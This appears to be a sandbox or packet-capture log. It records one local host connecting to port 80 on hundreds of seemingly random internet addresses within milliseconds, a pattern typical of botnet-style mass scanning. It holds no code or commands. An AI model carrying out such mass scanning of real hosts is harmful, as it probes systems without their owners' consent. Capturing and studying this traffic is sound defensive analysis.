Mar 2, 2024 12:36:51.813406944 CET	49926	80	192.168.2.23	178.161.134.225
Mar 2, 2024 12:36:51.813407898 CET	49926	80	192.168.2.23	178.115.93.67
Mar 2, 2024 12:36:51.813407898 CET	49926	80	192.168.2.23	178.217.132.27
Mar 2, 2024 12:36:51.813421011 CET	50438	80	192.168.2.23	61.193.59.13
Mar 2, 2024 12:36:51.813429117 CET	49926	80	192.168.2.23	178.117.5.217
Mar 2, 2024 12:36:51.813429117 CET	49926	80	192.168.2.23	178.4.222.111
Mar 2, 2024 12:36:51.813429117 CET	50438	80	192.168.2.23	151.232.217.95
Mar 2, 2024 12:36:51.813429117 CET	50438	80	192.168.2.23	74.34.144.132
Mar 2, 2024 12:36:51.813431978 CET	49926	80	192.168.2.23	178.241.112.200
Mar 2, 2024 12:36:51.813431978 CET	50438	80	192.168.2.23	107.81.158.38
Mar 2, 2024 12:36:51.813431978 CET	50438	80	192.168.2.23	195.212.109.196
Mar 2, 2024 12:36:51.813431978 CET	50438	80	192.168.2.23	187.50.168.14
Mar 2, 2024 12:36:51.813440084 CET	50438	80	192.168.2.23	128.145.131.240
Mar 2, 2024 12:36:51.813440084 CET	49926	80	192.168.2.23	178.221.165.112
Mar 2, 2024 12:36:51.813443899 CET	50438	80	192.168.2.23	161.60.84.89
Mar 2, 2024 12:36:51.813443899 CET	50438	80	192.168.2.23	242.96.69.232
Mar 2, 2024 12:36:51.813446045 CET	49926	80	192.168.2.23	178.211.244.156
Mar 2, 2024 12:36:51.813446045 CET	50438	80	192.168.2.23	36.159.18.120
Mar 2, 2024 12:36:51.813446045 CET	49926	80	192.168.2.23	178.206.219.78
Mar 2, 2024 12:36:51.813446045 CET	49926	80	192.168.2.23	178.223.85.250
Mar 2, 2024 12:36:51.813448906 CET	50438	80	192.168.2.23	200.245.97.52
Mar 2, 2024 12:36:51.813448906 CET	50438	80	192.168.2.23	141.40.200.193
Mar 2, 2024 12:36:51.813451052 CET	50438	80	192.168.2.23	218.204.137.151
Mar 2, 2024 12:36:51.813451052 CET	49926	80	192.168.2.23	178.248.248.116
Mar 2, 2024 12:36:51.813457012 CET	50438	80	192.168.2.23	7.63.126.24
Mar 2, 2024 12:36:51.813457012 CET	50438	80	192.168.2.23	61.229.80.228
Mar 2, 2024 12:36:51.813462973 CET	50438	80	192.168.2.23	36.213.123.80
Mar 2, 2024 12:36:51.813467026 CET	50438	80	192.168.2.23	211.185.203.2
Mar 2, 2024 12:36:51.813478947 CET	49926	80	192.168.2.23	178.181.137.79
Mar 2, 2024 12:36:51.813478947 CET	50438	80	192.168.2.23	193.2.124.176
Mar 2, 2024 12:36:51.813477993 CET	49926	80	192.168.2.23	178.215.12.28
Mar 2, 2024 12:36:51.813477993 CET	49926	80	192.168.2.23	178.235.177.198
Mar 2, 2024 12:36:51.813477993 CET	50438	80	192.168.2.23	162.198.63.104
Mar 2, 2024 12:36:51.813478947 CET	49926	80	192.168.2.23	178.86.221.154
Mar 2, 2024 12:36:51.813483953 CET	50438	80	192.168.2.23	86.229.128.62
Mar 2, 2024 12:36:51.813482046 CET	50438	80	192.168.2.23	29.146.42.0
Mar 2, 2024 12:36:51.813482046 CET	50438	80	192.168.2.23	97.65.25.111
Mar 2, 2024 12:36:51.813482046 CET	50438	80	192.168.2.23	88.158.161.119
Mar 2, 2024 12:36:51.813488007 CET	49926	80	192.168.2.23	178.7.49.187
Mar 2, 2024 12:36:51.813488007 CET	50438	80	192.168.2.23	255.225.39.211
Mar 2, 2024 12:36:51.813488007 CET	49926	80	192.168.2.23	178.86.220.248
Mar 2, 2024 12:36:51.813488007 CET	49926	80	192.168.2.23	178.108.61.221
Mar 2, 2024 12:36:51.813489914 CET	50438	80	192.168.2.23	78.85.237.201
Mar 2, 2024 12:36:51.813498020 CET	50438	80	192.168.2.23	253.2.73.163
Mar 2, 2024 12:36:51.813500881 CET	49926	80	192.168.2.23	178.68.107.105
Mar 2, 2024 12:36:51.813503027 CET	50438	80	192.168.2.23	184.77.109.74
Mar 2, 2024 12:36:51.813503027 CET	50438	80	192.168.2.23	119.91.29.247
Mar 2, 2024 12:36:51.813503981 CET	50438	80	192.168.2.23	213.230.229.145
Mar 2, 2024 12:36:51.813503027 CET	50438	80	192.168.2.23	155.158.23.92
Mar 2, 2024 12:36:51.813503981 CET	49926	80	192.168.2.23	178.243.44.168
Mar 2, 2024 12:36:51.813503981 CET	49926	80	192.168.2.23	178.149.80.61
Mar 2, 2024 12:36:51.813510895 CET	49926	80	192.168.2.23	178.202.129.101
Mar 2, 2024 12:36:51.813515902 CET	50438	80	192.168.2.23	56.208.154.152
Mar 2, 2024 12:36:51.813515902 CET	49926	80	192.168.2.23	178.43.197.178
Mar 2, 2024 12:36:51.813515902 CET	50438	80	192.168.2.23	80.234.1.215
Mar 2, 2024 12:36:51.813529015 CET	49926	80	192.168.2.23	178.234.126.181
Mar 2, 2024 12:36:51.813529968 CET	49926	80	192.168.2.23	178.239.150.7
Mar 2, 2024 12:36:51.813534975 CET	49926	80	192.168.2.23	178.85.208.151
Mar 2, 2024 12:36:51.813535929 CET	49926	80	192.168.2.23	178.16.186.142
Mar 2, 2024 12:36:51.813548088 CET	49926	80	192.168.2.23	178.122.0.107
Mar 2, 2024 12:36:51.813565016 CET	49926	80	192.168.2.23	178.233.90.107
Mar 2, 2024 12:36:51.813565969 CET	49926	80	192.168.2.23	178.169.175.10
Mar 2, 2024 12:36:51.813568115 CET	50438	80	192.168.2.23	101.210.52.49
Mar 2, 2024 12:36:51.813568115 CET	50438	80	192.168.2.23	117.242.102.207
Mar 2, 2024 12:36:51.813569069 CET	50438	80	192.168.2.23	149.169.158.232
Mar 2, 2024 12:36:51.813570023 CET	49926	80	192.168.2.23	178.13.164.63
Mar 2, 2024 12:36:51.813570023 CET	50438	80	192.168.2.23	190.135.211.204
Mar 2, 2024 12:36:51.813570976 CET	50438	80	192.168.2.23	240.27.149.114
Mar 2, 2024 12:36:51.813580036 CET	49926	80	192.168.2.23	178.152.200.72
Mar 2, 2024 12:36:51.813581944 CET	49926	80	192.168.2.23	178.18.163.186
Mar 2, 2024 12:36:51.813589096 CET	50438	80	192.168.2.23	153.210.39.166
Mar 2, 2024 12:36:51.813591003 CET	49926	80	192.168.2.23	178.94.130.166
Mar 2, 2024 12:36:51.813591957 CET	50438	80	192.168.2.23	248.9.252.58
Mar 2, 2024 12:36:51.813592911 CET	49926	80	192.168.2.23	178.15.199.42
Mar 2, 2024 12:36:51.813591003 CET	50438	80	192.168.2.23	74.75.247.7
Mar 2, 2024 12:36:51.813592911 CET	50438	80	192.168.2.23	80.95.57.197
Mar 2, 2024 12:36:51.813592911 CET	49926	80	192.168.2.23	178.152.228.182
Mar 2, 2024 12:36:51.813592911 CET	50438	80	192.168.2.23	68.123.76.51
Mar 2, 2024 12:36:51.813591003 CET	50438	80	192.168.2.23	109.54.75.85
Mar 2, 2024 12:36:51.813596964 CET	50438	80	192.168.2.23	25.22.2.153
Mar 2, 2024 12:36:51.813596964 CET	49926	80	192.168.2.23	178.220.235.209
Mar 2, 2024 12:36:51.813597918 CET	50438	80	192.168.2.23	84.255.95.255
Mar 2, 2024 12:36:51.813596964 CET	50438	80	192.168.2.23	172.62.12.185
Mar 2, 2024 12:36:51.813597918 CET	50438	80	192.168.2.23	195.47.248.40
Mar 2, 2024 12:36:51.813597918 CET	49926	80	192.168.2.23	178.252.232.39
Mar 2, 2024 12:36:51.813607931 CET	50438	80	192.168.2.23	160.104.108.105
Mar 2, 2024 12:36:51.813610077 CET	49926	80	192.168.2.23	178.30.206.16
Mar 2, 2024 12:36:51.813610077 CET	50438	80	192.168.2.23	70.82.87.188
Mar 2, 2024 12:36:51.813610077 CET	50438	80	192.168.2.23	203.121.218.40
Mar 2, 2024 12:36:51.813611984 CET	49926	80	192.168.2.23	178.24.149.191
Mar 2, 2024 12:36:51.813612938 CET	49926	80	192.168.2.23	178.248.75.182
Mar 2, 2024 12:36:51.813612938 CET	50438	80	192.168.2.23	3.88.24.136
Mar 2, 2024 12:36:51.813618898 CET	50438	80	192.168.2.23	64.108.72.10
Mar 2, 2024 12:36:51.813621998 CET	49926	80	192.168.2.23	178.38.17.24
Mar 2, 2024 12:36:51.813621998 CET	50438	80	192.168.2.23	40.229.68.16
Mar 2, 2024 12:36:51.813640118 CET	50438	80	192.168.2.23	206.92.39.17
Mar 2, 2024 12:36:51.813644886 CET	49926	80	192.168.2.23	178.136.17.101
Mar 2, 2024 12:36:51.813647032 CET	50438	80	192.168.2.23	73.19.26.1
Mar 2, 2024 12:36:51.813647032 CET	49926	80	192.168.2.23	178.198.127.244
Mar 2, 2024 12:36:51.813647032 CET	50438	80	192.168.2.23	215.96.134.140
Mar 2, 2024 12:36:51.813657045 CET	50438	80	192.168.2.23	35.201.139.240
Mar 2, 2024 12:36:51.813657045 CET	49926	80	192.168.2.23	178.137.108.105
Mar 2, 2024 12:36:51.813657045 CET	49926	80	192.168.2.23	178.226.93.245
Mar 2, 2024 12:36:51.813657045 CET	49926	80	192.168.2.23	178.245.35.230
Mar 2, 2024 12:36:51.813668013 CET	49926	80	192.168.2.23	178.22.47.193
Mar 2, 2024 12:36:51.813672066 CET	49926	80	192.168.2.23	178.13.83.204
Mar 2, 2024 12:36:51.813673019 CET	50438	80	192.168.2.23	13.145.0.175
Mar 2, 2024 12:36:51.813673973 CET	49926	80	192.168.2.23	178.206.94.161
Mar 2, 2024 12:36:51.813673973 CET	50438	80	192.168.2.23	31.3.60.224
Mar 2, 2024 12:36:51.813674927 CET	49926	80	192.168.2.23	178.143.42.48
Mar 2, 2024 12:36:51.813682079 CET	50438	80	192.168.2.23	254.95.168.57
Mar 2, 2024 12:36:51.813682079 CET	50438	80	192.168.2.23	61.183.2.124
Mar 2, 2024 12:36:51.813682079 CET	49926	80	192.168.2.23	178.93.154.243
Mar 2, 2024 12:36:51.813685894 CET	49926	80	192.168.2.23	178.156.94.61
Mar 2, 2024 12:36:51.813685894 CET	50438	80	192.168.2.23	222.204.88.30
Mar 2, 2024 12:36:51.813685894 CET	50438	80	192.168.2.23	211.145.151.42
Mar 2, 2024 12:36:51.813688040 CET	49926	80	192.168.2.23	178.163.154.94
Mar 2, 2024 12:36:51.813688040 CET	49926	80	192.168.2.23	178.147.94.166
Mar 2, 2024 12:36:51.813700914 CET	49926	80	192.168.2.23	178.196.129.251
Mar 2, 2024 12:36:51.813700914 CET	49926	80	192.168.2.23	178.32.241.17
Mar 2, 2024 12:36:51.813709021 CET	50438	80	192.168.2.23	117.210.168.12
Mar 2, 2024 12:36:51.813709974 CET	50438	80	192.168.2.23	14.31.99.2
Mar 2, 2024 12:36:51.813709974 CET	49926	80	192.168.2.23	178.245.58.138
Mar 2, 2024 12:36:51.813715935 CET	50438	80	192.168.2.23	214.148.168.178
Mar 2, 2024 12:36:51.813718081 CET	50438	80	192.168.2.23	12.94.76.215
Mar 2, 2024 12:36:51.813718081 CET	50438	80	192.168.2.23	220.223.129.194
Mar 2, 2024 12:36:51.813750029 CET	49926	80	192.168.2.23	178.61.113.205
Mar 2, 2024 12:36:51.813752890 CET	49926	80	192.168.2.23	178.47.98.175
Mar 2, 2024 12:36:51.813777924 CET	49926	80	192.168.2.23	178.75.129.121
Mar 2, 2024 12:36:51.813781977 CET	49926	80	192.168.2.23	178.23.42.77
Mar 2, 2024 12:36:51.813793898 CET	49926	80	192.168.2.23	178.205.156.11
Mar 2, 2024 12:36:51.813793898 CET	49926	80	192.168.2.23	178.228.195.88
Mar 2, 2024 12:36:51.813796043 CET	49926	80	192.168.2.23	178.97.149.14
Mar 2, 2024 12:36:51.813800097 CET	49926	80	192.168.2.23	178.11.165.119
Mar 2, 2024 12:36:51.813821077 CET	49926	80	192.168.2.23	178.113.86.122
Mar 2, 2024 12:36:51.813822985 CET	49926	80	192.168.2.23	178.248.12.113
Mar 2, 2024 12:36:51.813822985 CET	49926	80	192.168.2.23	178.204.141.208
Mar 2, 2024 12:36:51.813822985 CET	49926	80	192.168.2.23	178.87.211.5
Mar 2, 2024 12:36:51.813827038 CET	49926	80	192.168.2.23	178.81.87.80
Mar 2, 2024 12:36:51.813827038 CET	49926	80	192.168.2.23	178.179.167.21
Mar 2, 2024 12:36:51.813848972 CET	49926	80	192.168.2.23	178.57.225.61
Mar 2, 2024 12:36:51.813848972 CET	49926	80	192.168.2.23	178.9.159.119
Mar 2, 2024 12:36:51.813854933 CET	50438	80	192.168.2.23	211.193.214.245
Mar 2, 2024 12:36:51.813870907 CET	49926	80	192.168.2.23	178.63.247.42
Mar 2, 2024 12:36:51.813873053 CET	50438	80	192.168.2.23	103.5.112.77
Mar 2, 2024 12:36:51.813878059 CET	49926	80	192.168.2.23	178.154.142.162
Mar 2, 2024 12:36:51.813880920 CET	50438	80	192.168.2.23	251.94.63.45
Mar 2, 2024 12:36:51.813879013 CET	49926	80	192.168.2.23	178.67.101.174
Mar 2, 2024 12:36:51.813880920 CET	49926	80	192.168.2.23	178.16.233.4
Mar 2, 2024 12:36:51.813879013 CET	50438	80	192.168.2.23	102.41.32.141
Mar 2, 2024 12:36:51.813873053 CET	49926	80	192.168.2.23	178.126.97.230
Mar 2, 2024 12:36:51.813879013 CET	50438	80	192.168.2.23	91.130.38.18
Mar 2, 2024 12:36:51.813899040 CET	50438	80	192.168.2.23	41.67.136.124
Mar 2, 2024 12:36:51.813904047 CET	49926	80	192.168.2.23	178.37.123.74
Mar 2, 2024 12:36:51.813904047 CET	49926	80	192.168.2.23	178.83.31.66
Mar 2, 2024 12:36:51.813916922 CET	50438	80	192.168.2.23	72.51.58.83
Mar 2, 2024 12:36:51.813916922 CET	50438	80	192.168.2.23	69.172.88.228
Mar 2, 2024 12:36:51.813918114 CET	49926	80	192.168.2.23	178.18.23.47
Mar 2, 2024 12:36:51.813916922 CET	50438	80	192.168.2.23	81.253.250.81
Mar 2, 2024 12:36:51.813916922 CET	50438	80	192.168.2.23	130.240.235.203
Mar 2, 2024 12:36:51.813930988 CET	50438	80	192.168.2.23	190.75.31.28
Mar 2, 2024 12:36:51.813931942 CET	50438	80	192.168.2.23	49.74.202.99
Mar 2, 2024 12:36:51.813931942 CET	49926	80	192.168.2.23	178.37.147.71
Mar 2, 2024 12:36:51.813934088 CET	50438	80	192.168.2.23	193.192.232.173
Mar 2, 2024 12:36:51.813934088 CET	50438	80	192.168.2.23	54.4.158.181
Mar 2, 2024 12:36:51.813934088 CET	49926	80	192.168.2.23	178.107.78.205
Mar 2, 2024 12:36:51.813942909 CET	49926	80	192.168.2.23	178.216.234.178
Mar 2, 2024 12:36:51.813942909 CET	50438	80	192.168.2.23	65.236.195.206
Mar 2, 2024 12:36:51.813942909 CET	50438	80	192.168.2.23	248.17.166.119
Mar 2, 2024 12:36:51.813950062 CET	49926	80	192.168.2.23	178.120.91.160
Mar 2, 2024 12:36:51.813950062 CET	50438	80	192.168.2.23	116.165.122.229
Mar 2, 2024 12:36:51.813951969 CET	50438	80	192.168.2.23	17.154.33.143
Mar 2, 2024 12:36:51.813955069 CET	50438	80	192.168.2.23	212.23.156.36
Mar 2, 2024 12:36:51.813955069 CET	50438	80	192.168.2.23	213.188.19.207
Mar 2, 2024 12:36:51.813957930 CET	49926	80	192.168.2.23	178.135.81.100
Mar 2, 2024 12:36:51.813957930 CET	49926	80	192.168.2.23	178.35.113.166
Mar 2, 2024 12:36:51.813966036 CET	50438	80	192.168.2.23	63.33.200.204
Mar 2, 2024 12:36:51.813966036 CET	50438	80	192.168.2.23	204.88.255.87
Mar 2, 2024 12:36:51.813975096 CET	49926	80	192.168.2.23	178.124.186.7
Mar 2, 2024 12:36:51.813975096 CET	49926	80	192.168.2.23	178.139.121.21
Mar 2, 2024 12:36:51.813978910 CET	49926	80	192.168.2.23	178.242.32.113
Mar 2, 2024 12:36:51.813978910 CET	49926	80	192.168.2.23	178.84.9.191
Mar 2, 2024 12:36:51.813987970 CET	49926	80	192.168.2.23	178.55.93.188
Mar 2, 2024 12:36:51.813987970 CET	49926	80	192.168.2.23	178.120.23.182
Mar 2, 2024 12:36:51.813988924 CET	49926	80	192.168.2.23	178.179.229.100
Mar 2, 2024 12:36:51.813987970 CET	49926	80	192.168.2.23	178.149.162.146
Mar 2, 2024 12:36:51.814007998 CET	49926	80	192.168.2.23	178.99.253.174
Mar 2, 2024 12:36:51.814012051 CET	49926	80	192.168.2.23	178.55.72.95
Mar 2, 2024 12:36:51.814012051 CET	49926	80	192.168.2.23	178.65.82.187
Mar 2, 2024 12:36:51.814024925 CET	49926	80	192.168.2.23	178.13.217.79
Mar 2, 2024 12:36:51.814048052 CET	49926	80	192.168.2.23	178.238.35.231
Mar 2, 2024 12:36:51.814048052 CET	49926	80	192.168.2.23	178.228.219.64
Mar 2, 2024 12:36:51.814052105 CET	49926	80	192.168.2.23	178.27.245.9
Mar 2, 2024 12:36:51.814052105 CET	49926	80	192.168.2.23	178.203.192.208
Mar 2, 2024 12:36:51.814062119 CET	49926	80	192.168.2.23	178.140.17.148
Mar 2, 2024 12:36:51.814069033 CET	49926	80	192.168.2.23	178.5.107.43
Mar 2, 2024 12:36:51.814071894 CET	49926	80	192.168.2.23	178.203.122.35
Mar 2, 2024 12:36:51.814100981 CET	50438	80	192.168.2.23	100.62.166.156
Mar 2, 2024 12:36:51.814119101 CET	49926	80	192.168.2.23	178.155.80.215
Mar 2, 2024 12:36:51.814121008 CET	49926	80	192.168.2.23	178.235.221.191
Mar 2, 2024 12:36:51.814121962 CET	49926	80	192.168.2.23	178.130.101.130
Mar 2, 2024 12:36:51.814135075 CET	50438	80	192.168.2.23	82.228.26.113
Mar 2, 2024 12:36:51.814136028 CET	50438	80	192.168.2.23	189.107.16.28
Mar 2, 2024 12:36:51.814150095 CET	50438	80	192.168.2.23	150.161.199.37
Mar 2, 2024 12:36:51.814151049 CET	49926	80	192.168.2.23	178.136.188.33
Mar 2, 2024 12:36:51.814151049 CET	50438	80	192.168.2.23	104.146.59.42
Mar 2, 2024 12:36:51.814152002 CET	50438	80	192.168.2.23	61.11.112.35
Mar 2, 2024 12:36:51.814152002 CET	50438	80	192.168.2.23	128.47.97.32
Mar 2, 2024 12:36:51.814152002 CET	50438	80	192.168.2.23	107.113.217.34
Mar 2, 2024 12:36:51.814151049 CET	49926	80	192.168.2.23	178.83.201.72
Mar 2, 2024 12:36:51.814158916 CET	49926	80	192.168.2.23	178.3.48.88
Mar 2, 2024 12:36:51.814158916 CET	49926	80	192.168.2.23	178.203.187.141
Mar 2, 2024 12:36:51.814158916 CET	50438	80	192.168.2.23	149.254.201.222
Mar 2, 2024 12:36:51.814162970 CET	50438	80	192.168.2.23	179.39.6.239
Mar 2, 2024 12:36:51.814162970 CET	50438	80	192.168.2.23	14.255.178.44
Mar 2, 2024 12:36:51.814163923 CET	50438	80	192.168.2.23	144.11.90.17
Mar 2, 2024 12:36:51.814165115 CET	50438	80	192.168.2.23	167.98.39.126
Mar 2, 2024 12:36:51.814166069 CET	49926	80	192.168.2.23	178.132.126.206
Mar 2, 2024 12:36:51.814166069 CET	50438	80	192.168.2.23	116.56.205.222
Mar 2, 2024 12:36:51.814169884 CET	49926	80	192.168.2.23	178.119.65.19
Mar 2, 2024 12:36:51.814179897 CET	50438	80	192.168.2.23	121.47.67.235
Mar 2, 2024 12:36:51.814179897 CET	50438	80	192.168.2.23	49.129.171.140
Mar 2, 2024 12:36:51.814181089 CET	50438	80	192.168.2.23	13.46.116.25
Mar 2, 2024 12:36:51.814184904 CET	49926	80	192.168.2.23	178.71.131.111
Mar 2, 2024 12:36:51.814186096 CET	50438	80	192.168.2.23	197.34.9.170
Mar 2, 2024 12:36:51.814186096 CET	50438	80	192.168.2.23	100.39.109.208
Mar 2, 2024 12:36:51.814186096 CET	50438	80	192.168.2.23	147.43.67.83
Mar 2, 2024 12:36:51.814186096 CET	49926	80	192.168.2.23	178.170.123.241
Mar 2, 2024 12:36:51.814186096 CET	50438	80	192.168.2.23	243.57.218.49
Mar 2, 2024 12:36:51.814197063 CET	50438	80	192.168.2.23	172.129.207.214
Mar 2, 2024 12:36:51.814197063 CET	49926	80	192.168.2.23	178.174.236.93
Mar 2, 2024 12:36:51.814198971 CET	50438	80	192.168.2.23	7.233.144.221
Mar 2, 2024 12:36:51.814204931 CET	50438	80	192.168.2.23	201.200.83.75
Mar 2, 2024 12:36:51.814219952 CET	50438	80	192.168.2.23	180.201.220.14
Mar 2, 2024 12:36:51.814219952 CET	49926	80	192.168.2.23	178.235.136.114
Mar 2, 2024 12:36:51.814219952 CET	50438	80	192.168.2.23	102.50.164.229
Mar 2, 2024 12:36:51.814219952 CET	50438	80	192.168.2.23	132.137.13.114
Mar 2, 2024 12:36:51.814220905 CET	49926	80	192.168.2.23	178.75.90.112
Mar 2, 2024 12:36:51.814222097 CET	49926	80	192.168.2.23	178.231.145.114
Mar 2, 2024 12:36:51.814220905 CET	50438	80	192.168.2.23	212.185.170.161
Mar 2, 2024 12:36:51.814219952 CET	50438	80	192.168.2.23	81.142.80.168
Mar 2, 2024 12:36:51.814223051 CET	49926	80	192.168.2.23	178.225.115.112
Mar 2, 2024 12:36:51.814222097 CET	50438	80	192.168.2.23	172.252.212.75
Mar 2, 2024 12:36:51.814223051 CET	50438	80	192.168.2.23	209.194.40.170
Mar 2, 2024 12:36:51.814227104 CET	49926	80	192.168.2.23	178.3.72.63
Mar 2, 2024 12:36:51.814223051 CET	50438	80	192.168.2.23	96.105.131.60
Mar 2, 2024 12:36:51.814227104 CET	50438	80	192.168.2.23	49.226.133.98
Mar 2, 2024 12:36:51.814229012 CET	49926	80	192.168.2.23	178.133.81.87
Mar 2, 2024 12:36:51.814229012 CET	49926	80	192.168.2.23	178.21.198.225
Mar 2, 2024 12:36:51.814237118 CET	50438	80	192.168.2.23	214.155.228.29
Mar 2, 2024 12:36:51.814237118 CET	49926	80	192.168.2.23	178.195.121.126
Mar 2, 2024 12:36:51.814237118 CET	50438	80	192.168.2.23	183.11.193.99
Mar 2, 2024 12:36:51.814237118 CET	50438	80	192.168.2.23	61.31.159.195
Mar 2, 2024 12:36:51.814244032 CET	50438	80	192.168.2.23	126.34.57.57
Mar 2, 2024 12:36:51.814248085 CET	49926	80	192.168.2.23	178.130.55.215
Mar 2, 2024 12:36:51.814248085 CET	50438	80	192.168.2.23	13.155.187.98
Mar 2, 2024 12:36:51.814250946 CET	50438	80	192.168.2.23	64.169.92.29
Mar 2, 2024 12:36:51.814254999 CET	50438	80	192.168.2.23	175.225.227.54
Mar 2, 2024 12:36:51.814270973 CET	50438	80	192.168.2.23	61.238.198.108
Mar 2, 2024 12:36:51.814275980 CET	49926	80	192.168.2.23	178.217.210.15
Mar 2, 2024 12:36:51.814275980 CET	49926	80	192.168.2.23	178.31.151.204
Mar 2, 2024 12:36:51.814271927 CET	49926	80	192.168.2.23	178.44.91.255
Mar 2, 2024 12:36:51.814271927 CET	50438	80	192.168.2.23	201.136.61.112
Mar 2, 2024 12:36:51.814271927 CET	49926	80	192.168.2.23	178.205.25.3
Mar 2, 2024 12:36:51.814271927 CET	50438	80	192.168.2.23	58.22.121.48
Mar 2, 2024 12:36:51.814271927 CET	50438	80	192.168.2.23	170.240.163.105
Mar 2, 2024 12:36:51.814280987 CET	49926	80	192.168.2.23	178.63.29.213
Mar 2, 2024 12:36:51.814280987 CET	50438	80	192.168.2.23	18.93.22.70
Mar 2, 2024 12:36:51.814281940 CET	50438	80	192.168.2.23	41.127.97.228
Mar 2, 2024 12:36:51.814281940 CET	50438	80	192.168.2.23	77.223.71.20
Mar 2, 2024 12:36:51.814285040 CET	50438	80	192.168.2.23	214.187.36.231
Mar 2, 2024 12:36:51.814285040 CET	49926	80	192.168.2.23	178.30.61.210
Mar 2, 2024 12:36:51.814285040 CET	49926	80	192.168.2.23	178.237.38.179
Mar 2, 2024 12:36:51.814287901 CET	49926	80	192.168.2.23	178.199.242.75
Mar 2, 2024 12:36:51.814287901 CET	50438	80	192.168.2.23	66.142.27.94
Mar 2, 2024 12:36:51.814295053 CET	50438	80	192.168.2.23	52.46.109.146
Mar 2, 2024 12:36:51.814301014 CET	49926	80	192.168.2.23	178.45.173.17
Mar 2, 2024 12:36:51.814301968 CET	50438	80	192.168.2.23	166.243.215.96
Mar 2, 2024 12:36:51.814301968 CET	50438	80	192.168.2.23	196.193.64.111
Mar 2, 2024 12:36:51.814312935 CET	49926	80	192.168.2.23	178.45.15.145
Mar 2, 2024 12:36:51.814318895 CET	50438	80	192.168.2.23	180.243.10.204
Mar 2, 2024 12:36:51.814332008 CET	49926	80	192.168.2.23	178.53.95.206
Mar 2, 2024 12:36:51.814332008 CET	49926	80	192.168.2.23	178.207.211.148
Mar 2, 2024 12:36:51.814347982 CET	49926	80	192.168.2.23	178.25.32.18
Mar 2, 2024 12:36:51.814347982 CET	49926	80	192.168.2.23	178.243.78.23
Mar 2, 2024 12:36:51.814351082 CET	49926	80	192.168.2.23	178.23.35.54
Mar 2, 2024 12:36:51.814357042 CET	50438	80	192.168.2.23	92.65.57.6
Mar 2, 2024 12:36:51.814357996 CET	50438	80	192.168.2.23	144.151.83.108
Mar 2, 2024 12:36:51.814357996 CET	49926	80	192.168.2.23	178.193.217.225
Mar 2, 2024 12:36:51.814363003 CET	50438	80	192.168.2.23	185.210.155.82
Mar 2, 2024 12:36:51.814363003 CET	50438	80	192.168.2.23	45.173.224.92
Mar 2, 2024 12:36:51.814367056 CET	50438	80	192.168.2.23	97.96.227.109
Mar 2, 2024 12:36:51.814368010 CET	50438	80	192.168.2.23	82.21.216.178
Mar 2, 2024 12:36:51.814368963 CET	50438	80	192.168.2.23	13.31.197.193
Mar 2, 2024 12:36:51.814368963 CET	49926	80	192.168.2.23	178.97.231.59
Mar 2, 2024 12:36:51.814368963 CET	50438	80	192.168.2.23	184.118.36.39
Mar 2, 2024 12:36:51.814368963 CET	50438	80	192.168.2.23	220.167.187.192
Mar 2, 2024 12:36:51.814373016 CET	50438	80	192.168.2.23	219.239.7.98
Mar 2, 2024 12:36:51.814373016 CET	50438	80	192.168.2.23	54.67.95.185
Mar 2, 2024 12:36:51.814393997 CET	49926	80	192.168.2.23	178.199.99.195
Mar 2, 2024 12:36:51.814399958 CET	50438	80	192.168.2.23	72.64.153.177
Mar 2, 2024 12:36:51.814404011 CET	50438	80	192.168.2.23	18.45.119.98
Mar 2, 2024 12:36:51.814404011 CET	49926	80	192.168.2.23	178.214.174.110
Mar 2, 2024 12:36:51.814404011 CET	49926	80	192.168.2.23	178.186.226.40
Mar 2, 2024 12:36:51.814404011 CET	50438	80	192.168.2.23	24.89.119.45
Mar 2, 2024 12:36:51.814404011 CET	49926	80	192.168.2.23	178.5.110.229
Mar 2, 2024 12:36:51.814413071 CET	50438	80	192.168.2.23	253.35.30.224
Mar 2, 2024 12:36:51.814413071 CET	49926	80	192.168.2.23	178.59.211.106
Mar 2, 2024 12:36:51.814413071 CET	50438	80	192.168.2.23	13.98.201.135
Mar 2, 2024 12:36:51.814415932 CET	49926	80	192.168.2.23	178.238.164.252
Mar 2, 2024 12:36:51.814415932 CET	50438	80	192.168.2.23	47.242.21.225
Mar 2, 2024 12:36:51.814418077 CET	50438	80	192.168.2.23	145.255.102.149
Mar 2, 2024 12:36:51.814418077 CET	49926	80	192.168.2.23	178.186.26.205
Mar 2, 2024 12:36:51.814419985 CET	50438	80	192.168.2.23	120.142.236.219
Mar 2, 2024 12:36:51.814420938 CET	49926	80	192.168.2.23	178.12.187.11
Mar 2, 2024 12:36:51.814419985 CET	50438	80	192.168.2.23	129.156.70.55
Mar 2, 2024 12:36:51.814423084 CET	49926	80	192.168.2.23	178.130.29.144
Mar 2, 2024 12:36:51.814423084 CET	49926	80	192.168.2.23	178.215.104.21
Mar 2, 2024 12:36:51.814423084 CET	50438	80	192.168.2.23	115.160.94.80
Mar 2, 2024 12:36:51.814425945 CET	50438	80	192.168.2.23	45.52.191.223
Mar 2, 2024 12:36:51.814425945 CET	50438	80	192.168.2.23	167.124.107.14
Mar 2, 2024 12:36:51.814425945 CET	50438	80	192.168.2.23	67.122.231.228
Mar 2, 2024 12:36:51.814425945 CET	50438	80	192.168.2.23	200.53.172.160
Mar 2, 2024 12:36:51.814425945 CET	50438	80	192.168.2.23	203.245.192.113
Mar 2, 2024 12:36:51.814429045 CET	50438	80	192.168.2.23	200.44.178.79
Mar 2, 2024 12:36:51.814429045 CET	50438	80	192.168.2.23	148.123.198.227
Mar 2, 2024 12:36:51.814433098 CET	50438	80	192.168.2.23	214.242.122.133
Mar 2, 2024 12:36:51.814441919 CET	49926	80	192.168.2.23	178.121.40.82
Mar 2, 2024 12:36:51.814441919 CET	50438	80	192.168.2.23	13.104.116.165
Mar 2, 2024 12:36:51.814444065 CET	50438	80	192.168.2.23	97.110.218.116
Mar 2, 2024 12:36:51.814444065 CET	49926	80	192.168.2.23	178.185.231.126
Mar 2, 2024 12:36:51.814444065 CET	50438	80	192.168.2.23	191.255.28.150
Mar 2, 2024 12:36:51.814448118 CET	49926	80	192.168.2.23	178.28.126.123
Mar 2, 2024 12:36:51.814448118 CET	50438	80	192.168.2.23	139.186.153.187
Mar 2, 2024 12:36:51.814450026 CET	50438	80	192.168.2.23	52.0.243.171
Mar 2, 2024 12:36:51.814455986 CET	49926	80	192.168.2.23	178.214.42.141
Mar 2, 2024 12:36:51.814455986 CET	49926	80	192.168.2.23	178.74.124.141
Mar 2, 2024 12:36:51.814455986 CET	49926	80	192.168.2.23	178.38.102.69
Mar 2, 2024 12:36:51.814455986 CET	50438	80	192.168.2.23	43.7.115.240
Mar 2, 2024 12:36:51.814462900 CET	50438	80	192.168.2.23	1.70.128.133
